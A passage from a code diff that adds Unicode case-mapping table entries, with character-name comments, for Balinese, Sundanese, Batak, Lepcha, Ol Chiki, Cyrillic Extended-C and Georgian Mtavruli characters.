+ ["\u1B31", "\u1B31"], /* BALINESE LETTER SA SAPA */
+ ["\u1B32", "\u1B32"], /* BALINESE LETTER SA */
+ ["\u1B33", "\u1B33"], /* BALINESE LETTER HA */
+ ["\u1B34", "\u1B34"], /* BALINESE SIGN REREKAN */
+ ["\u1B35", "\u1B35"], /* BALINESE VOWEL SIGN TEDUNG */
+ ["\u1B36", "\u1B36"], /* BALINESE VOWEL SIGN ULU */
+ ["\u1B37", "\u1B37"], /* BALINESE VOWEL SIGN ULU SARI */
+ ["\u1B38", "\u1B38"], /* BALINESE VOWEL SIGN SUKU */
+ ["\u1B39", "\u1B39"], /* BALINESE VOWEL SIGN SUKU ILUT */
+ ["\u1B3A", "\u1B3A"], /* BALINESE VOWEL SIGN RA REPA */
+ ["\u1B3B", "\u1B3B"], /* BALINESE VOWEL SIGN RA REPA TEDUNG */
+ ["\u1B3C", "\u1B3C"], /* BALINESE VOWEL SIGN LA LENGA */
+ ["\u1B3D", "\u1B3D"], /* BALINESE VOWEL SIGN LA LENGA TEDUNG */
+ ["\u1B3E", "\u1B3E"], /* BALINESE VOWEL SIGN TALING */
+ ["\u1B3F", "\u1B3F"], /* BALINESE VOWEL SIGN TALING REPA */
+ ["\u1B40", "\u1B40"], /* BALINESE VOWEL SIGN TALING TEDUNG */
+ ["\u1B41", "\u1B41"], /* BALINESE VOWEL SIGN TALING REPA TEDUNG */
+ ["\u1B42", "\u1B42"], /* BALINESE VOWEL SIGN PEPET */
+ ["\u1B43", "\u1B43"], /* BALINESE VOWEL SIGN PEPET TEDUNG */
+ ["\u1B44", "\u1B44"], /* BALINESE ADEG ADEG */
+ ["\u1B45", "\u1B45"], /* BALINESE LETTER KAF SASAK */
+ ["\u1B46", "\u1B46"], /* BALINESE LETTER KHOT SASAK */
+ ["\u1B47", "\u1B47"], /* BALINESE LETTER TZIR SASAK */
+ ["\u1B48", "\u1B48"], /* BALINESE LETTER EF SASAK */
+ ["\u1B49", "\u1B49"], /* BALINESE LETTER VE SASAK */
+ ["\u1B4A", "\u1B4A"], /* BALINESE LETTER ZAL SASAK */
+ ["\u1B4B", "\u1B4B"], /* BALINESE LETTER ASYURA SASAK */
+ ["\u1B4C", "\u1B4C"],
+ ["\u1B4D", "\u1B4D"],
+ ["\u1B4E", "\u1B4E"],
+ ["\u1B4F", "\u1B4F"],
+ ["\u1B50", "\u1B50"], /* BALINESE DIGIT ZERO */
+ ["\u1B51", "\u1B51"], /* BALINESE DIGIT ONE */
+ ["\u1B52", "\u1B52"], /* BALINESE DIGIT TWO */
+ ["\u1B53", "\u1B53"], /* BALINESE DIGIT THREE */
+ ["\u1B54", "\u1B54"], /* BALINESE DIGIT FOUR */
+ ["\u1B55", "\u1B55"], /* BALINESE DIGIT FIVE */
+ ["\u1B56", "\u1B56"], /* BALINESE DIGIT SIX */
+ ["\u1B57", "\u1B57"], /* BALINESE DIGIT SEVEN */
+ ["\u1B58", "\u1B58"], /* BALINESE DIGIT EIGHT */
+ ["\u1B59", "\u1B59"], /* BALINESE DIGIT NINE */
+ ["\u1B5A", "\u1B5A"], /* BALINESE PANTI */
+ ["\u1B5B", "\u1B5B"], /* BALINESE PAMADA */
+ ["\u1B5C", "\u1B5C"], /* BALINESE WINDU */
+ ["\u1B5D", "\u1B5D"], /* BALINESE CARIK PAMUNGKAH */
+ ["\u1B5E", "\u1B5E"], /* BALINESE CARIK SIKI */
+ ["\u1B5F", "\u1B5F"], /* BALINESE CARIK PAREREN */
+ ["\u1B60", "\u1B60"], /* BALINESE PAMENENG */
+ ["\u1B61", "\u1B61"], /* BALINESE MUSICAL SYMBOL DONG */
+ ["\u1B62", "\u1B62"], /* BALINESE MUSICAL SYMBOL DENG */
+ ["\u1B63", "\u1B63"], /* BALINESE MUSICAL SYMBOL DUNG */
+ ["\u1B64", "\u1B64"], /* BALINESE MUSICAL SYMBOL DANG */
+ ["\u1B65", "\u1B65"], /* BALINESE MUSICAL SYMBOL DANG SURANG */
+ ["\u1B66", "\u1B66"], /* BALINESE MUSICAL SYMBOL DING */
+ ["\u1B67", "\u1B67"], /* BALINESE MUSICAL SYMBOL DAENG */
+ ["\u1B68", "\u1B68"], /* BALINESE MUSICAL SYMBOL DEUNG */
+ ["\u1B69", "\u1B69"], /* BALINESE MUSICAL SYMBOL DAING */
+ ["\u1B6A", "\u1B6A"], /* BALINESE MUSICAL SYMBOL DANG GEDE */
+ ["\u1B6B", "\u1B6B"], /* BALINESE MUSICAL SYMBOL COMBINING TEGEH */
+ ["\u1B6C", "\u1B6C"], /* BALINESE MUSICAL SYMBOL COMBINING ENDEP */
+ ["\u1B6D", "\u1B6D"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPUL */
+ ["\u1B6E", "\u1B6E"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPLI */
+ ["\u1B6F", "\u1B6F"], /* BALINESE MUSICAL SYMBOL COMBINING JEGOGAN */
+ ["\u1B70", "\u1B70"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPUL WITH JEGOGAN */
+ ["\u1B71", "\u1B71"], /* BALINESE MUSICAL SYMBOL COMBINING KEMPLI WITH JEGOGAN */
+ ["\u1B72", "\u1B72"], /* BALINESE MUSICAL SYMBOL COMBINING BENDE */
+ ["\u1B73", "\u1B73"], /* BALINESE MUSICAL SYMBOL COMBINING GONG */
+ ["\u1B74", "\u1B74"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG */
+ ["\u1B75", "\u1B75"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG */
+ ["\u1B76", "\u1B76"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK */
+ ["\u1B77", "\u1B77"], /* BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK */
+ ["\u1B78", "\u1B78"], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG */
+ ["\u1B79", "\u1B79"], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG */
+ ["\u1B7A", "\u1B7A"], /* BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK */
+ ["\u1B7B", "\u1B7B"], /* BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK */
+ ["\u1B7C", "\u1B7C"], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING */
+ ["\u1B7D", "\u1B7D"],
+ ["\u1B7E", "\u1B7E"],
+ ["\u1B7F", "\u1B7F"],
+ ["\u1B80", "\u1B80"], /* SUNDANESE SIGN PANYECEK */
+ ["\u1B81", "\u1B81"], /* SUNDANESE SIGN PANGLAYAR */
+ ["\u1B82", "\u1B82"], /* SUNDANESE SIGN PANGWISAD */
+ ["\u1B83", "\u1B83"], /* SUNDANESE LETTER A */
+ ["\u1B84", "\u1B84"], /* SUNDANESE LETTER I */
+ ["\u1B85", "\u1B85"], /* SUNDANESE LETTER U */
+ ["\u1B86", "\u1B86"], /* SUNDANESE LETTER AE */
+ ["\u1B87", "\u1B87"], /* SUNDANESE LETTER O */
+ ["\u1B88", "\u1B88"], /* SUNDANESE LETTER E */
+ ["\u1B89", "\u1B89"], /* SUNDANESE LETTER EU */
+ ["\u1B8A", "\u1B8A"], /* SUNDANESE LETTER KA */
+ ["\u1B8B", "\u1B8B"], /* SUNDANESE LETTER QA */
+ ["\u1B8C", "\u1B8C"], /* SUNDANESE LETTER GA */
+ ["\u1B8D", "\u1B8D"], /* SUNDANESE LETTER NGA */
+ ["\u1B8E", "\u1B8E"], /* SUNDANESE LETTER CA */
+ ["\u1B8F", "\u1B8F"], /* SUNDANESE LETTER JA */
+ ["\u1B90", "\u1B90"], /* SUNDANESE LETTER ZA */
+ ["\u1B91", "\u1B91"], /* SUNDANESE LETTER NYA */
+ ["\u1B92", "\u1B92"], /* SUNDANESE LETTER TA */
+ ["\u1B93", "\u1B93"], /* SUNDANESE LETTER DA */
+ ["\u1B94", "\u1B94"], /* SUNDANESE LETTER NA */
+ ["\u1B95", "\u1B95"], /* SUNDANESE LETTER PA */
+ ["\u1B96", "\u1B96"], /* SUNDANESE LETTER FA */
+ ["\u1B97", "\u1B97"], /* SUNDANESE LETTER VA */
+ ["\u1B98", "\u1B98"], /* SUNDANESE LETTER BA */
+ ["\u1B99", "\u1B99"], /* SUNDANESE LETTER MA */
+ ["\u1B9A", "\u1B9A"], /* SUNDANESE LETTER YA */
+ ["\u1B9B", "\u1B9B"], /* SUNDANESE LETTER RA */
+ ["\u1B9C", "\u1B9C"], /* SUNDANESE LETTER LA */
+ ["\u1B9D", "\u1B9D"], /* SUNDANESE LETTER WA */
+ ["\u1B9E", "\u1B9E"], /* SUNDANESE LETTER SA */
+ ["\u1B9F", "\u1B9F"], /* SUNDANESE LETTER XA */
+ ["\u1BA0", "\u1BA0"], /* SUNDANESE LETTER HA */
+ ["\u1BA1", "\u1BA1"], /* SUNDANESE CONSONANT SIGN PAMINGKAL */
+ ["\u1BA2", "\u1BA2"], /* SUNDANESE CONSONANT SIGN PANYAKRA */
+ ["\u1BA3", "\u1BA3"], /* SUNDANESE CONSONANT SIGN PANYIKU */
+ ["\u1BA4", "\u1BA4"], /* SUNDANESE VOWEL SIGN PANGHULU */
+ ["\u1BA5", "\u1BA5"], /* SUNDANESE VOWEL SIGN PANYUKU */
+ ["\u1BA6", "\u1BA6"], /* SUNDANESE VOWEL SIGN PANAELAENG */
+ ["\u1BA7", "\u1BA7"], /* SUNDANESE VOWEL SIGN PANOLONG */
+ ["\u1BA8", "\u1BA8"], /* SUNDANESE VOWEL SIGN PAMEPET */
+ ["\u1BA9", "\u1BA9"], /* SUNDANESE VOWEL SIGN PANEULEUNG */
+ ["\u1BAA", "\u1BAA"], /* SUNDANESE SIGN PAMAAEH */
+ ["\u1BAB", "\u1BAB"], /* SUNDANESE SIGN VIRAMA */
+ ["\u1BAC", "\u1BAC"], /* SUNDANESE CONSONANT SIGN PASANGAN MA */
+ ["\u1BAD", "\u1BAD"], /* SUNDANESE CONSONANT SIGN PASANGAN WA */
+ ["\u1BAE", "\u1BAE"], /* SUNDANESE LETTER KHA */
+ ["\u1BAF", "\u1BAF"], /* SUNDANESE LETTER SYA */
+ ["\u1BB0", "\u1BB0"], /* SUNDANESE DIGIT ZERO */
+ ["\u1BB1", "\u1BB1"], /* SUNDANESE DIGIT ONE */
+ ["\u1BB2", "\u1BB2"], /* SUNDANESE DIGIT TWO */
+ ["\u1BB3", "\u1BB3"], /* SUNDANESE DIGIT THREE */
+ ["\u1BB4", "\u1BB4"], /* SUNDANESE DIGIT FOUR */
+ ["\u1BB5", "\u1BB5"], /* SUNDANESE DIGIT FIVE */
+ ["\u1BB6", "\u1BB6"], /* SUNDANESE DIGIT SIX */
+ ["\u1BB7", "\u1BB7"], /* SUNDANESE DIGIT SEVEN */
+ ["\u1BB8", "\u1BB8"], /* SUNDANESE DIGIT EIGHT */
+ ["\u1BB9", "\u1BB9"], /* SUNDANESE DIGIT NINE */
+ ["\u1BBA", "\u1BBA"], /* SUNDANESE AVAGRAHA */
+ ["\u1BBB", "\u1BBB"], /* SUNDANESE LETTER REU */
+ ["\u1BBC", "\u1BBC"], /* SUNDANESE LETTER LEU */
+ ["\u1BBD", "\u1BBD"], /* SUNDANESE LETTER BHA */
+ ["\u1BBE", "\u1BBE"], /* SUNDANESE LETTER FINAL K */
+ ["\u1BBF", "\u1BBF"], /* SUNDANESE LETTER FINAL M */
+ ["\u1BC0", "\u1BC0"], /* BATAK LETTER A */
+ ["\u1BC1", "\u1BC1"], /* BATAK LETTER SIMALUNGUN A */
+ ["\u1BC2", "\u1BC2"], /* BATAK LETTER HA */
+ ["\u1BC3", "\u1BC3"], /* BATAK LETTER SIMALUNGUN HA */
+ ["\u1BC4", "\u1BC4"], /* BATAK LETTER MANDAILING HA */
+ ["\u1BC5", "\u1BC5"], /* BATAK LETTER BA */
+ ["\u1BC6", "\u1BC6"], /* BATAK LETTER KARO BA */
+ ["\u1BC7", "\u1BC7"], /* BATAK LETTER PA */
+ ["\u1BC8", "\u1BC8"], /* BATAK LETTER SIMALUNGUN PA */
+ ["\u1BC9", "\u1BC9"], /* BATAK LETTER NA */
+ ["\u1BCA", "\u1BCA"], /* BATAK LETTER MANDAILING NA */
+ ["\u1BCB", "\u1BCB"], /* BATAK LETTER WA */
+ ["\u1BCC", "\u1BCC"], /* BATAK LETTER SIMALUNGUN WA */
+ ["\u1BCD", "\u1BCD"], /* BATAK LETTER PAKPAK WA */
+ ["\u1BCE", "\u1BCE"], /* BATAK LETTER GA */
+ ["\u1BCF", "\u1BCF"], /* BATAK LETTER SIMALUNGUN GA */
+ ["\u1BD0", "\u1BD0"], /* BATAK LETTER JA */
+ ["\u1BD1", "\u1BD1"], /* BATAK LETTER DA */
+ ["\u1BD2", "\u1BD2"], /* BATAK LETTER RA */
+ ["\u1BD3", "\u1BD3"], /* BATAK LETTER SIMALUNGUN RA */
+ ["\u1BD4", "\u1BD4"], /* BATAK LETTER MA */
+ ["\u1BD5", "\u1BD5"], /* BATAK LETTER SIMALUNGUN MA */
+ ["\u1BD6", "\u1BD6"], /* BATAK LETTER SOUTHERN TA */
+ ["\u1BD7", "\u1BD7"], /* BATAK LETTER NORTHERN TA */
+ ["\u1BD8", "\u1BD8"], /* BATAK LETTER SA */
+ ["\u1BD9", "\u1BD9"], /* BATAK LETTER SIMALUNGUN SA */
+ ["\u1BDA", "\u1BDA"], /* BATAK LETTER MANDAILING SA */
+ ["\u1BDB", "\u1BDB"], /* BATAK LETTER YA */
+ ["\u1BDC", "\u1BDC"], /* BATAK LETTER SIMALUNGUN YA */
+ ["\u1BDD", "\u1BDD"], /* BATAK LETTER NGA */
+ ["\u1BDE", "\u1BDE"], /* BATAK LETTER LA */
+ ["\u1BDF", "\u1BDF"], /* BATAK LETTER SIMALUNGUN LA */
+ ["\u1BE0", "\u1BE0"], /* BATAK LETTER NYA */
+ ["\u1BE1", "\u1BE1"], /* BATAK LETTER CA */
+ ["\u1BE2", "\u1BE2"], /* BATAK LETTER NDA */
+ ["\u1BE3", "\u1BE3"], /* BATAK LETTER MBA */
+ ["\u1BE4", "\u1BE4"], /* BATAK LETTER I */
+ ["\u1BE5", "\u1BE5"], /* BATAK LETTER U */
+ ["\u1BE6", "\u1BE6"], /* BATAK SIGN TOMPI */
+ ["\u1BE7", "\u1BE7"], /* BATAK VOWEL SIGN E */
+ ["\u1BE8", "\u1BE8"], /* BATAK VOWEL SIGN PAKPAK E */
+ ["\u1BE9", "\u1BE9"], /* BATAK VOWEL SIGN EE */
+ ["\u1BEA", "\u1BEA"], /* BATAK VOWEL SIGN I */
+ ["\u1BEB", "\u1BEB"], /* BATAK VOWEL SIGN KARO I */
+ ["\u1BEC", "\u1BEC"], /* BATAK VOWEL SIGN O */
+ ["\u1BED", "\u1BED"], /* BATAK VOWEL SIGN KARO O */
+ ["\u1BEE", "\u1BEE"], /* BATAK VOWEL SIGN U */
+ ["\u1BEF", "\u1BEF"], /* BATAK VOWEL SIGN U FOR SIMALUNGUN SA */
+ ["\u1BF0", "\u1BF0"], /* BATAK CONSONANT SIGN NG */
+ ["\u1BF1", "\u1BF1"], /* BATAK CONSONANT SIGN H */
+ ["\u1BF2", "\u1BF2"], /* BATAK PANGOLAT */
+ ["\u1BF3", "\u1BF3"], /* BATAK PANONGONAN */
+ ["\u1BF4", "\u1BF4"],
+ ["\u1BF5", "\u1BF5"],
+ ["\u1BF6", "\u1BF6"],
+ ["\u1BF7", "\u1BF7"],
+ ["\u1BF8", "\u1BF8"],
+ ["\u1BF9", "\u1BF9"],
+ ["\u1BFA", "\u1BFA"],
+ ["\u1BFB", "\u1BFB"],
+ ["\u1BFC", "\u1BFC"], /* BATAK SYMBOL BINDU NA METEK */
+ ["\u1BFD", "\u1BFD"], /* BATAK SYMBOL BINDU PINARBORAS */
+ ["\u1BFE", "\u1BFE"], /* BATAK SYMBOL BINDU JUDUL */
+ ["\u1BFF", "\u1BFF"], /* BATAK SYMBOL BINDU PANGOLAT */
+ ["\u1C00", "\u1C00"], /* LEPCHA LETTER KA */
+ ["\u1C01", "\u1C01"], /* LEPCHA LETTER KLA */
+ ["\u1C02", "\u1C02"], /* LEPCHA LETTER KHA */
+ ["\u1C03", "\u1C03"], /* LEPCHA LETTER GA */
+ ["\u1C04", "\u1C04"], /* LEPCHA LETTER GLA */
+ ["\u1C05", "\u1C05"], /* LEPCHA LETTER NGA */
+ ["\u1C06", "\u1C06"], /* LEPCHA LETTER CA */
+ ["\u1C07", "\u1C07"], /* LEPCHA LETTER CHA */
+ ["\u1C08", "\u1C08"], /* LEPCHA LETTER JA */
+ ["\u1C09", "\u1C09"], /* LEPCHA LETTER NYA */
+ ["\u1C0A", "\u1C0A"], /* LEPCHA LETTER TA */
+ ["\u1C0B", "\u1C0B"], /* LEPCHA LETTER THA */
+ ["\u1C0C", "\u1C0C"], /* LEPCHA LETTER DA */
+ ["\u1C0D", "\u1C0D"], /* LEPCHA LETTER NA */
+ ["\u1C0E", "\u1C0E"], /* LEPCHA LETTER PA */
+ ["\u1C0F", "\u1C0F"], /* LEPCHA LETTER PLA */
+ ["\u1C10", "\u1C10"], /* LEPCHA LETTER PHA */
+ ["\u1C11", "\u1C11"], /* LEPCHA LETTER FA */
+ ["\u1C12", "\u1C12"], /* LEPCHA LETTER FLA */
+ ["\u1C13", "\u1C13"], /* LEPCHA LETTER BA */
+ ["\u1C14", "\u1C14"], /* LEPCHA LETTER BLA */
+ ["\u1C15", "\u1C15"], /* LEPCHA LETTER MA */
+ ["\u1C16", "\u1C16"], /* LEPCHA LETTER MLA */
+ ["\u1C17", "\u1C17"], /* LEPCHA LETTER TSA */
+ ["\u1C18", "\u1C18"], /* LEPCHA LETTER TSHA */
+ ["\u1C19", "\u1C19"], /* LEPCHA LETTER DZA */
+ ["\u1C1A", "\u1C1A"], /* LEPCHA LETTER YA */
+ ["\u1C1B", "\u1C1B"], /* LEPCHA LETTER RA */
+ ["\u1C1C", "\u1C1C"], /* LEPCHA LETTER LA */
+ ["\u1C1D", "\u1C1D"], /* LEPCHA LETTER HA */
+ ["\u1C1E", "\u1C1E"], /* LEPCHA LETTER HLA */
+ ["\u1C1F", "\u1C1F"], /* LEPCHA LETTER VA */
+ ["\u1C20", "\u1C20"], /* LEPCHA LETTER SA */
+ ["\u1C21", "\u1C21"], /* LEPCHA LETTER SHA */
+ ["\u1C22", "\u1C22"], /* LEPCHA LETTER WA */
+ ["\u1C23", "\u1C23"], /* LEPCHA LETTER A */
+ ["\u1C24", "\u1C24"], /* LEPCHA SUBJOINED LETTER YA */
+ ["\u1C25", "\u1C25"], /* LEPCHA SUBJOINED LETTER RA */
+ ["\u1C26", "\u1C26"], /* LEPCHA VOWEL SIGN AA */
+ ["\u1C27", "\u1C27"], /* LEPCHA VOWEL SIGN I */
+ ["\u1C28", "\u1C28"], /* LEPCHA VOWEL SIGN O */
+ ["\u1C29", "\u1C29"], /* LEPCHA VOWEL SIGN OO */
+ ["\u1C2A", "\u1C2A"], /* LEPCHA VOWEL SIGN U */
+ ["\u1C2B", "\u1C2B"], /* LEPCHA VOWEL SIGN UU */
+ ["\u1C2C", "\u1C2C"], /* LEPCHA VOWEL SIGN E */
+ ["\u1C2D", "\u1C2D"], /* LEPCHA CONSONANT SIGN K */
+ ["\u1C2E", "\u1C2E"], /* LEPCHA CONSONANT SIGN M */
+ ["\u1C2F", "\u1C2F"], /* LEPCHA CONSONANT SIGN L */
+ ["\u1C30", "\u1C30"], /* LEPCHA CONSONANT SIGN N */
+ ["\u1C31", "\u1C31"], /* LEPCHA CONSONANT SIGN P */
+ ["\u1C32", "\u1C32"], /* LEPCHA CONSONANT SIGN R */
+ ["\u1C33", "\u1C33"], /* LEPCHA CONSONANT SIGN T */
+ ["\u1C34", "\u1C34"], /* LEPCHA CONSONANT SIGN NYIN-DO */
+ ["\u1C35", "\u1C35"], /* LEPCHA CONSONANT SIGN KANG */
+ ["\u1C36", "\u1C36"], /* LEPCHA SIGN RAN */
+ ["\u1C37", "\u1C37"], /* LEPCHA SIGN NUKTA */
+ ["\u1C38", "\u1C38"],
+ ["\u1C39", "\u1C39"],
+ ["\u1C3A", "\u1C3A"],
+ ["\u1C3B", "\u1C3B"], /* LEPCHA PUNCTUATION TA-ROL */
+ ["\u1C3C", "\u1C3C"], /* LEPCHA PUNCTUATION NYET THYOOM TA-ROL */
+ ["\u1C3D", "\u1C3D"], /* LEPCHA PUNCTUATION CER-WA */
+ ["\u1C3E", "\u1C3E"], /* LEPCHA PUNCTUATION TSHOOK CER-WA */
+ ["\u1C3F", "\u1C3F"], /* LEPCHA PUNCTUATION TSHOOK */
+ ["\u1C40", "\u1C40"], /* LEPCHA DIGIT ZERO */
+ ["\u1C41", "\u1C41"], /* LEPCHA DIGIT ONE */
+ ["\u1C42", "\u1C42"], /* LEPCHA DIGIT TWO */
+ ["\u1C43", "\u1C43"], /* LEPCHA DIGIT THREE */
+ ["\u1C44", "\u1C44"], /* LEPCHA DIGIT FOUR */
+ ["\u1C45", "\u1C45"], /* LEPCHA DIGIT FIVE */
+ ["\u1C46", "\u1C46"], /* LEPCHA DIGIT SIX */
+ ["\u1C47", "\u1C47"], /* LEPCHA DIGIT SEVEN */
+ ["\u1C48", "\u1C48"], /* LEPCHA DIGIT EIGHT */
+ ["\u1C49", "\u1C49"], /* LEPCHA DIGIT NINE */
+ ["\u1C4A", "\u1C4A"],
+ ["\u1C4B", "\u1C4B"],
+ ["\u1C4C", "\u1C4C"],
+ ["\u1C4D", "\u1C4D"], /* LEPCHA LETTER TTA */
+ ["\u1C4E", "\u1C4E"], /* LEPCHA LETTER TTHA */
+ ["\u1C4F", "\u1C4F"], /* LEPCHA LETTER DDA */
+ ["\u1C50", "\u1C50"], /* OL CHIKI DIGIT ZERO */
+ ["\u1C51", "\u1C51"], /* OL CHIKI DIGIT ONE */
+ ["\u1C52", "\u1C52"], /* OL CHIKI DIGIT TWO */
+ ["\u1C53", "\u1C53"], /* OL CHIKI DIGIT THREE */
+ ["\u1C54", "\u1C54"], /* OL CHIKI DIGIT FOUR */
+ ["\u1C55", "\u1C55"], /* OL CHIKI DIGIT FIVE */
+ ["\u1C56", "\u1C56"], /* OL CHIKI DIGIT SIX */
+ ["\u1C57", "\u1C57"], /* OL CHIKI DIGIT SEVEN */
+ ["\u1C58", "\u1C58"], /* OL CHIKI DIGIT EIGHT */
+ ["\u1C59", "\u1C59"], /* OL CHIKI DIGIT NINE */
+ ["\u1C5A", "\u1C5A"], /* OL CHIKI LETTER LA */
+ ["\u1C5B", "\u1C5B"], /* OL CHIKI LETTER AT */
+ ["\u1C5C", "\u1C5C"], /* OL CHIKI LETTER AG */
+ ["\u1C5D", "\u1C5D"], /* OL CHIKI LETTER ANG */
+ ["\u1C5E", "\u1C5E"], /* OL CHIKI LETTER AL */
+ ["\u1C5F", "\u1C5F"], /* OL CHIKI LETTER LAA */
+ ["\u1C60", "\u1C60"], /* OL CHIKI LETTER AAK */
+ ["\u1C61", "\u1C61"], /* OL CHIKI LETTER AAJ */
+ ["\u1C62", "\u1C62"], /* OL CHIKI LETTER AAM */
+ ["\u1C63", "\u1C63"], /* OL CHIKI LETTER AAW */
+ ["\u1C64", "\u1C64"], /* OL CHIKI LETTER LI */
+ ["\u1C65", "\u1C65"], /* OL CHIKI LETTER IS */
+ ["\u1C66", "\u1C66"], /* OL CHIKI LETTER IH */
+ ["\u1C67", "\u1C67"], /* OL CHIKI LETTER INY */
+ ["\u1C68", "\u1C68"], /* OL CHIKI LETTER IR */
+ ["\u1C69", "\u1C69"], /* OL CHIKI LETTER LU */
+ ["\u1C6A", "\u1C6A"], /* OL CHIKI LETTER UC */
+ ["\u1C6B", "\u1C6B"], /* OL CHIKI LETTER UD */
+ ["\u1C6C", "\u1C6C"], /* OL CHIKI LETTER UNN */
+ ["\u1C6D", "\u1C6D"], /* OL CHIKI LETTER UY */
+ ["\u1C6E", "\u1C6E"], /* OL CHIKI LETTER LE */
+ ["\u1C6F", "\u1C6F"], /* OL CHIKI LETTER EP */
+ ["\u1C70", "\u1C70"], /* OL CHIKI LETTER EDD */
+ ["\u1C71", "\u1C71"], /* OL CHIKI LETTER EN */
+ ["\u1C72", "\u1C72"], /* OL CHIKI LETTER ERR */
+ ["\u1C73", "\u1C73"], /* OL CHIKI LETTER LO */
+ ["\u1C74", "\u1C74"], /* OL CHIKI LETTER OTT */
+ ["\u1C75", "\u1C75"], /* OL CHIKI LETTER OB */
+ ["\u1C76", "\u1C76"], /* OL CHIKI LETTER OV */
+ ["\u1C77", "\u1C77"], /* OL CHIKI LETTER OH */
+ ["\u1C78", "\u1C78"], /* OL CHIKI MU TTUDDAG */
+ ["\u1C79", "\u1C79"], /* OL CHIKI GAAHLAA TTUDDAAG */
+ ["\u1C7A", "\u1C7A"], /* OL CHIKI MU-GAAHLAA TTUDDAAG */
+ ["\u1C7B", "\u1C7B"], /* OL CHIKI RELAA */
+ ["\u1C7C", "\u1C7C"], /* OL CHIKI PHAARKAA */
+ ["\u1C7D", "\u1C7D"], /* OL CHIKI AHAD */
+ ["\u1C7E", "\u1C7E"], /* OL CHIKI PUNCTUATION MUCAAD */
+ ["\u1C7F", "\u1C7F"], /* OL CHIKI PUNCTUATION DOUBLE MUCAAD */
+ ["\u0412", "\u1C80"], /* CYRILLIC SMALL LETTER ROUNDED VE */
+ ["\u0414", "\u1C81"], /* CYRILLIC SMALL LETTER LONG-LEGGED DE */
+ ["\u041E", "\u1C82"], /* CYRILLIC SMALL LETTER NARROW O */
+ ["\u0421", "\u1C83"], /* CYRILLIC SMALL LETTER WIDE ES */
+ ["\u0422", "\u1C84"], /* CYRILLIC SMALL LETTER TALL TE */
+ ["\u0422", "\u1C85"], /* CYRILLIC SMALL LETTER THREE-LEGGED TE */
+ ["\u042A", "\u1C86"], /* CYRILLIC SMALL LETTER TALL HARD SIGN */
+ ["\u0462", "\u1C87"], /* CYRILLIC SMALL LETTER TALL YAT */
+ ["\uA64A", "\u1C88"], /* CYRILLIC SMALL LETTER UNBLENDED UK */
+ ["\u1C89", "\u1C89"],
+ ["\u1C8A", "\u1C8A"],
+ ["\u1C8B", "\u1C8B"],
+ ["\u1C8C", "\u1C8C"],
+ ["\u1C8D", "\u1C8D"],
+ ["\u1C8E", "\u1C8E"],
+ ["\u1C8F", "\u1C8F"],
+ ["\u1C90", "\u10D0"], /* GEORGIAN MTAVRULI CAPITAL LETTER AN */
+ ["\u1C91", "\u10D1"], /* GEORGIAN MTAVRULI CAPITAL LETTER BAN */
+ ["\u1C92", "\u10D2"], /* GEORGIAN MTAVRULI CAPITAL LETTER GAN */
+ ["\u1C93", "\u10D3"], /* GEORGIAN MTAVRULI CAPITAL LETTER DON */
+ ["\u1C94", "\u10D4"], /* GEORGIAN MTAVRULI CAPITAL LETTER EN */
+ ["\u1C95", "\u10D5"], /* GEORGIAN MTAVRULI CAPITAL LETTER VIN */
+ ["\u1C96", "\u10D6"], /* GEORGIAN MTAVRULI CAPITAL LETTER ZEN */
+ ["\u1C97", "\u10D7"], /* GEORGIAN MTAVRULI CAPITAL LETTER TAN */
+ ["\u1C98", "\u10D8"], /* GEORGIAN MTAVRULI CAPITAL LETTER IN */
+ ["\u1C99", "\u10D9"], /* GEORGIAN MTAVRULI CAPITAL LETTER KAN */
+ ["\u1C9A", "\u10DA"], /* GEORGIAN MTAVRULI CAPITAL LETTER LAS */
+ ["\u1C9B", "\u10DB"], /* GEORGIAN MTAVRULI CAPITAL LETTER MAN */
+ ["\u1C9C", "\u10DC"], /* GEORGIAN MTAVRULI CAPITAL LETTER NAR */
+ ["\u1C9D", "\u10DD"], /* GEORGIAN MTAVRULI CAPITAL LETTER ON */
+ ["\u1C9E", "\u10DE"], /* GEORGIAN MTAVRULI CAPITAL LETTER PAR */
+ ["\u1C9F", "\u10DF"], /* GEORGIAN MTAVRULI CAPITAL LETTER ZHAR */
+ ["\u1CA0", "\u10E0"], /* GEORGIAN MTAVRULI CAPITAL LETTER RAE */
+ ["\u1CA1", "\u10E1"], /* GEORGIAN MTAVRULI CAPITAL LETTER SAN */
+ ["\u1CA2", "\u10E2"], /* GEORGIAN MTAVRULI CAPITAL LETTER TAR */
+ ["\u1CA3", "\u10E3"], /* GEORGIAN MTAVRULI CAPITAL LETTER UN */
+ ["\u1CA4", "\u10E4"], /* GEORGIAN MTAVRULI CAPITAL LETTER PHAR */
+ ["\u1CA5", "\u10E5"], /* GEORGIAN MTAVRULI CAPITAL LETTER KHAR */
+ ["\u1CA6", "\u10E6"], /* GEORGIAN MTAVRULI CAPITAL LETTER GHAN */
+ ["\u1CA7", "\u10E7"], /* GEORGIAN MTAVRULI CAPITAL LETTER QAR */
+ ["\u1CA8", "\u10E8"], /* GEORGIAN MTAVRULI CAPITAL LETTER SHIN */
+ ["\u1CA9", "\u10E9"], /* GEORGIAN MTAVRULI CAPITAL LETTER CHIN */
+ ["\u1CAA", "\u10EA"], /* GEORGIAN MTAVRULI CAPITAL LETTER CAN */
+ ["\u1CAB", "\u10EB"], /* GEORGIAN MTAVRULI CAPITAL LETTER JIL */
+ ["\u1CAC", "\u10EC"], /* GEORGIAN MTAVRULI CAPITAL LETTER CIL */
+ ["\u1CAD", "\u10ED"], /* GEORGIAN MTAVRULI CAPITAL LETTER CHAR */
+ ["\u1CAE", "\u10EE"], /* GEORGIAN MTAVRULI CAPITAL LETTER XAN */
+ ["\u1CAF", "\u10EF"], /* GEORGIAN MTAVRULI CAPITAL LETTER JHAN */
+ ["\u1CB0", "\u10F0"], /* GEORGIAN MTAVRULI CAPITAL LETTER HAE */
